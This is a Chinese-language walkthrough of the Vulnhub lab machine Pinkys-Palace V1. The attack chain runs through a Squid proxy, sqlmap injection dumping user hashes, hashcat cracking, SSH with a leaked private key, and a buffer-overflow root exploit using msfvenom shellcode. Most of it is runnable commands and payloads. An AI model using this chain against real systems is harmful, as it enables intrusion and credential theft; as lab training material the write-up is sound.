[Vulnhub] Pinkys-PalaceV1 Squid http proxy+SQI+BOF
字数 834 2025-08-19 12:41:34
Pinkys-PalaceV1 渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
使用nmap进行端口扫描:
nmap -p- 192.168.8.106 --min-rate 1000 -sC -sV
扫描结果:
- 8080/tcp: HTTP (nginx 1.10.3)
- 31337/tcp: Squid HTTP代理 (3.5.23)
- 64666/tcp: SSH (OpenSSH 7.4p1 Debian 10+deb9u2)
1.2 代理访问Web服务
由于直接访问8080端口返回403 Forbidden,需要通过Squid代理访问:
curl http://127.0.0.1:8080 -x 192.168.8.106:31337
2. Web目录枚举
2.1 使用dirb进行目录爆破
dirb http://127.0.0.1:8080 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -p 192.168.8.106:31337
2.2 使用gobuster进行更全面的目录扫描
gobuster dir -u "http://127.0.0.1:8080/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --proxy http://192.168.8.106:31337
发现关键目录:
http://127.0.0.1:8080/littlesecrets-main/
3. SQL注入攻击
3.1 使用sqlmap进行自动化注入测试
sqlmap --proxy=http://192.168.8.106:31337 --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=5 --risk=3 --dump
获取到的数据库信息:
users
+-----+----------------------------------+-------------+
| uid | pass | user |
+-----+----------------------------------+-------------+
| 1 | f543dbfeaf238729831a321c7a68bee4 | pinky |
| 2 | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |
+-----+----------------------------------+-------------+
3.2 密码破解
使用hashcat破解MD5哈希:
hashcat -m 0 -a 0 'd60dffed7cc0d87e1f4a11aa06ca73af' /usr/share/wordlists/rockyou.txt --force
破解结果:
username: pinkymanage
password: 3pinkysaf33pinkysaf3
4. SSH访问
使用获取的凭据通过SSH登录:
ssh pinkymanage@192.168.8.106 -p 64666
5. 权限提升准备
5.1 查找敏感文件
在服务器上发现重要文件:
cat /var/www/html/littlesecrets-main/ultrasecretadminf1l35/note.txt
cat /var/www/html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret|base64 -d
获取到RSA私钥:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA16fxL3/+h/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8
[...省略部分内容...]
-----END RSA PRIVATE KEY-----
5.2 使用私钥登录更高权限账户
将私钥保存为id_rsa文件后,登录pinky用户:
ssh -i ./id_rsa pinky@192.168.8.106 -p 64666
6. 缓冲区溢出攻击获取root权限
6.1 方法一:手动利用缓冲区溢出
- 使用gdb分析adminhelper程序:
gdb -q ./adminhelper
(gdb) break main
(gdb) run 1
(gdb) jump spawn
(gdb) info functions spawn
- 确定缓冲区溢出点:
(gdb) run $(python -c "print 'A'*72")
(gdb) run $(python -c "print 'A'*72+'B'*4")
(gdb) run $(python -c "print 'A'*72+'\xd0\x47\x55\x55\x55\x55\x00\x00'")
- 执行溢出攻击:
./adminhelper $(python -c "print 'A'*72+'\xd0\x47\x55\x55\x55\x55\x00\x00'")
获取到root权限的密码哈希:99975cfc5e2eb4c199d38d4a2b2c03ce
6.2 方法二:使用msfvenom生成shellcode
- 生成shellcode:
msfvenom -a x64 -p linux/x64/exec CMD=/bin/sh -b '\x00\x0b\x0d\x0a\x18\x0c\x23\x24\x28\x29' | hexdump -v -e '"\\\x" 1/1 "%02x"'
- 设置环境变量:
export maptnh=`python -c 'print "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa1\x12\x80\xb5\xc8\x09\xbf\x96\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe9\xaa\xaf\xd7\xa1\x67\x90\xe5\xc9\x12\x19\xe5\x9c\x56\xed\xf0\xc9\x3f\xe3\xe1\x96\x5b\x57\x9e\xa1\x12\x80\x9a\xaa\x60\xd1\xb9\xd2\x7a\x80\xe3\x9f\x5d\xe1\xfc\x9a\x4a\x8f\xb0\xc8\x09\xbf\x96"'`
- 使用getenv程序定位shellcode地址:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
编译并运行:
gcc -o getenv getenv.c
./getenv maptnh ~/adminhelper
- 执行溢出攻击:
~/adminhelper $(python -c "print 'A'*72+'\xaf\xee\xff\xff\xff\x7f'")
7. 总结
本渗透测试过程涵盖了以下关键步骤:
- 信息收集与端口扫描
- 代理服务器利用
- Web目录枚举
- SQL注入攻击与密码破解
- SSH访问与横向移动
- 敏感信息收集与私钥利用
- 缓冲区溢出攻击获取root权限
通过多种技术组合,最终成功获取目标系统的完全控制权限。